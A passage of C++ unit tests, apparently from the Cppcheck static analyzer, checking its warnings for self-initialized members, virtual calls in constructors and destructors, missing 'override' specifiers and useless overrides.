checkSelfInitialization_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkSelfInitialization_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings0, this);\n (checkClass.checkSelfInitialization)();\n }\n\n void selfInitialization() {\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred() : i(i) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred() : i{i} {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred();\\n\"\n \"};\\n\"\n \"Fred::Fred() : i(i) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class A {\\n\" // #10427\n \"public:\\n\"\n \" explicit A(int x) : _x(static_cast(_x)) {}\\n\"\n \"private:\\n\"\n \" int _x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Member variable '_x' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class A {\\n\"\n \"public:\\n\"\n \" explicit A(int x) : _x((int)(_x)) {}\\n\"\n \"private:\\n\"\n \" int _x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Member variable '_x' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() : s(s) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 's' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int x;\\n\"\n \" Fred(int x);\\n\"\n \"};\\n\"\n \"Fred::Fred(int x) : x(x) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int x;\\n\"\n \" Fred(int x);\\n\"\n \"};\\n\"\n \"Fred::Fred(int x) : x{x} { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred(const std::string& s) : s(s) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred(const std::string& s) : s{s} {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : Bar {\\n\"\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : Bar(\\\"\\\"), i(i) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : std::Bar {\\n\" // #6073\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : std::Bar(\\\"\\\"), i(i) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : std::Bar {\\n\" // #6073\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : std::Bar(\\\"\\\"), i{i} {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkVirtualFunctionCall(...) checkVirtualFunctionCall_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkVirtualFunctionCall_(const char* file, int line, const char (&code)[size]) {\n // Check..\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).certainty(Certainty::inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.checkVirtualFunctionCallInConstructor();\n }\n\n void virtualFunctionCallInConstructor() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual int f() { return 1; }\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{f();}\");\n ASSERT_EQUALS(\"[test.cpp:7:2] -> [test.cpp:3:17]: (style) Virtual function 'f' is called from constructor 'A()' at line 7. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A {\\n\"\n \" virtual int f();\\n\"\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:2:17]: (style) Virtual function 'f' is called from constructor 'A()' at line 3. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A : B {\\n\"\n \" int f() override;\\n\"\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:2:9]: (style) Virtual function 'f' is called from constructor 'A()' at line 3. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class B {\\n\"\n \" virtual int f() = 0;\\n\"\n \"};\\n\"\n \"class A : B {\\n\"\n \" int f();\\n\" // <- not explicitly virtual\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" A() { A::f(); }\\n\"\n \" virtual void f() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A : B {\\n\"\n \" int f() final { return 1; }\\n\"\n \" A() { f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class B {\\n\"\n \"public:\"\n \" virtual void f() {}\\n\"\n \"};\\n\"\n \"class A : B {\\n\"\n \"public:\"\n \" void f() override final {}\\n\"\n \" A() { f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual void Copy(const Base& Src) = 0;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" Derived() : i(0) {}\\n\"\n \" Derived(const Derived& Src);\\n\"\n \" void Copy(const Base& Src) override;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"Derived::Derived(const Derived& Src) {\\n\"\n \" Copy(Src);\\n\"\n \"}\\n\"\n \"void Derived::Copy(const Base& Src) {\\n\"\n \" auto d = dynamic_cast(Src);\\n\"\n \" i = d.i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:13:5] -> [test.cpp:9:10]: (style) Virtual function 'Copy' is called from copy constructor 'Derived(const Derived&Src)' at line 13. Dynamic binding is not used. [virtualCallInConstructor]\\n\",\n errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { auto pf = &f; }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { auto pf = &B::f; }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { (f)(); }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:3:18]: (style) Virtual function 'f' is called from constructor 'B()' at line 2. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class S {\\n\" // don't crash\n \" ~S();\\n\"\n \"public:\\n\"\n \" S();\\n\"\n \"};\\n\"\n \"S::S() {\\n\"\n \" typeid(S);\\n\"\n \"}\\n\"\n \"S::~S() = default;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct Base: { virtual void wibble() = 0; virtual ~Base() {} };\\n\" // #11167\n \"struct D final : public Base {\\n\"\n \" void wibble() override;\\n\"\n \" D() {}\\n\"\n \" virtual ~D() { wibble(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCall() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{pure();}\");\n ASSERT_EQUALS(\"[test.cpp:7:2] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual int pure()=0;\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::A():m(A::pure())\\n\"\n \"{}\");\n ASSERT_EQUALS(\"[test.cpp:7:13] -> [test.cpp:3:17]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"namespace N {\\n\"\n \" class A\\n\"\n \" {\\n\"\n \" virtual int pure() = 0;\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"N::A::A() : m(N::A::pure()) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:21] -> [test.cpp:4:19]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{pure();}\");\n ASSERT_EQUALS(\"[test.cpp:8:2] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure();}\");\n ASSERT_EQUALS(\"[test.cpp:9:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual int pure()=0;\\n\"\n \" int nonpure()\\n\"\n \" {return pure();}\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::A():m(nonpure())\\n\"\n \"{}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:9:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", \"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pure();}\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{nonpure();}\");\n ASSERT_EQUALS(\"[test.cpp:10:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A(bool b);\\n\"\n \"};\\n\"\n \"A::A(bool b)\\n\"\n \"{if (b) pure();}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{if (b) pure();}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n // #5831\n checkVirtualFunctionCall(\"class abc {\\n\"\n \"public:\\n\"\n \" virtual ~abc() throw() {}\\n\"\n \" virtual void def(void* g) throw () = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4992\n checkVirtualFunctionCall(\"class CMyClass {\\n\"\n \" std::function< void(void) > m_callback;\\n\"\n \"public:\\n\"\n \" CMyClass() {\\n\"\n \" m_callback = [this]() { return VirtualMethod(); };\\n\"\n \" }\\n\"\n \" virtual void VirtualMethod() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10559\n checkVirtualFunctionCall(\"struct S {\\n\"\n \" S(const int x) : m(std::bind(&S::f, this, x, 42)) {}\\n\"\n \" virtual int f(const int x, const int y) = 0;\\n\"\n \" std::function m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCallOtherClass() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A(const A & a);\\n\"\n \"};\\n\"\n \"A::A(const A & a)\\n\"\n \"{a.pure();}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"class B\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{B b; b.pure();}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCallWithBody() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pureWithBody()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{pureWithBody();}\\n\"\n \"void A::pureWithBody()\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pureWithBody()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pureWithBody();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure();}\\n\"\n \"void A::pureWithBody()\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void pureVirtualFunctionCallPrevented() {\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" { if (bCallPure) pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" { if (!bCallPure) ; else pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" {\\n\"\n \" switch (bCallPure) {\\n\"\n \" case true: pure(); break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkOverride(...) checkOverride_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOverride_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::style).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkOverride)();\n }\n\n void override1() {\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f(); };\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:37]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f() override; };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f() final; };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual auto foo( ) const -> size_t { return 1; }\\n\"\n \" virtual auto bar( ) const -> size_t { return 1; }\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public :\\n\"\n \" auto foo( ) const -> size_t { return 0; }\\n\"\n \" auto bar( ) const -> size_t override { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:8:10]: (style) The function 'foo' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"namespace Test {\\n\"\n \" class C {\\n\"\n \" public:\\n\"\n \" virtual ~C();\\n\"\n \" };\\n\"\n \"}\\n\"\n \"class C : Test::C {\\n\"\n \"public:\\n\"\n \" ~C();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:18] -> [test.cpp:9:6]: (style) The destructor '~C' overrides a destructor in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct Base {\\n\"\n \" virtual void foo();\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct Derived: public Base {\\n\"\n \" void foo() override;\\n\"\n \" void foo(int);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct B {\\n\" // #9092\n \" virtual int f(int i) const = 0;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" struct D : B {\\n\"\n \" virtual int f(int i) const;\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:6:21]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char, int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char, double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c = '\\\\0', double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c = '\\\\0', int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::vector);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::set);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector v);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::vector w = {});\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", \"\", errout_str());\n\n checkOverride(\"struct T {};\\n\" // #10920\n \"struct B {\\n\"\n \" virtual T f() = 0;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" friend T f();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct S {};\\n\" // #11827\n \"struct SPtr {\\n\"\n \" virtual S* operator->() const { return p; }\\n\"\n \" S* p = nullptr;\\n\"\n \"};\\n\"\n \"struct T : public S {};\\n\"\n \"struct TPtr : public SPtr {\\n\"\n \" T* operator->() const { return (T*)p; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:8:8]: (style) The function 'operator->' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\",\n errout_str());\n\n checkOverride(\"class Base {\\n\" // #12131\n \" virtual int Calculate(int arg) = 0;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \" int Calculate(int arg = 0) {\\n\"\n \" return arg * 2;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:5:9]: (style) The function 'Calculate' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct S {\\n\" // #12439\n \" virtual ~S() = default;\\n\"\n \"};\\n\"\n \"struct D : S {\\n\"\n \" ~D() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14] -> [test.cpp:5:6]: (style) The destructor '~D' overrides a destructor in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\",\n errout_str());\n }\n\n void overrideCVRefQualifiers() {\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() const; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() volatile; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() &; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() &&; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n #define checkUselessOverride(...) checkUselessOverride_(__FILE__, __LINE__, __VA_ARGS__)\n void checkUselessOverride_(const char* file, int line, const char code[]) {\n const Settings settings = settingsBuilder().severity(Severity::style).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkUselessOverride)();\n }\n\n void uselessOverride() {\n checkUselessOverride(\"struct B { virtual int f() { return 5; } };\\n\" // #11757\n \"struct D : B {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:24] -> [test.cpp:3:9]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(); };\\n\"\n \"struct D : B {\\n\"\n \" void f() override { B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:3:10]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f() = 0; };\\n\"\n \"int B::f() { return 5; }\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i) override { return B::f(i); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:24] -> [test.cpp:3:9]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i) override { return B::f(i + 1); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i, int j); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i, int j) override { return B::f(j, i); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(); };\\n\"\n \"struct I { virtual int f() = 0; };\\n\"\n \"struct D : B, I {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct S { virtual void f(); };\\n\"\n \"struct D : S {\\n\"\n \" void f() final { S::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct S {\\n\"\n \"protected:\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : S {\\n\"\n \"public:\\n\"\n \" void f() override { S::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(int, int, int) const; };\\n\" // #11799\n \"struct D : B {\\n\"\n \" int m = 42;\\n\"\n \" void f(int a, int b, int c) const override;\\n\"\n \"};\\n\"\n \"void D::f(int a, int b, int c) const {\\n\"\n \" B::f(a, b, m);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #11803\n \" virtual void f();\\n\"\n \" virtual void f(int i);\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { B::f(); }\\n\"\n \" void f(int i) override;\\n\"\n \" void g() { f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(); };\\n\" // #11808\n \"struct D : B { void f() override {} };\\n\"\n \"struct D2 : D {\\n\"\n \" void f() override {\\n\"\n \" B::f();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" virtual int f() { return 1; }\\n\"\n \" virtual int g() { return 7; }\\n\"\n \" virtual int h(int i, int j) { return i + j; }\\n\"\n \" virtual int j(int i, int j) { return i + j; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return 2; }\\n\"\n \" int g() override { return 7; }\\n\"\n \" int h(int j, int i) override { return i + j; }\\n\"\n \" int j(int i, int j) override { return i + j; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:9:9]: (style) The function 'g' overrides a function in a base class but is identical to the overridden function [uselessOverride]\\n\"\n \"[test.cpp:5:17] -> [test.cpp:11:9]: (style) The function 'j' overrides a function in a base class but is identical to the overridden function [uselessOverride]\\n\",\n errout_str());\n\n checkUselessOverride(\"struct B : std::exception {\\n\"\n \" virtual void f() { throw *this; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { throw *this; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"#define MACRO virtual void f() {}\\n\"\n \"struct B {\\n\"\n \" MACRO\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" MACRO\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" B() = default;\\n\"\n \" explicit B(int i) : m(i) {}\\n\"\n \" int m{};\\n\"\n \" virtual int f() const { return m; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" explicit D(int i) : m(i) {}\\n\"\n \" int m{};\\n\"\n \" int f() const override { return m; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" int g() const;\\n\"\n \" virtual int f() const { return g(); }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g() const;\\n\"\n \" int f() const override { return g(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"#define MACRO 1\\n\"\n \"struct B { virtual int f() { return 1; } 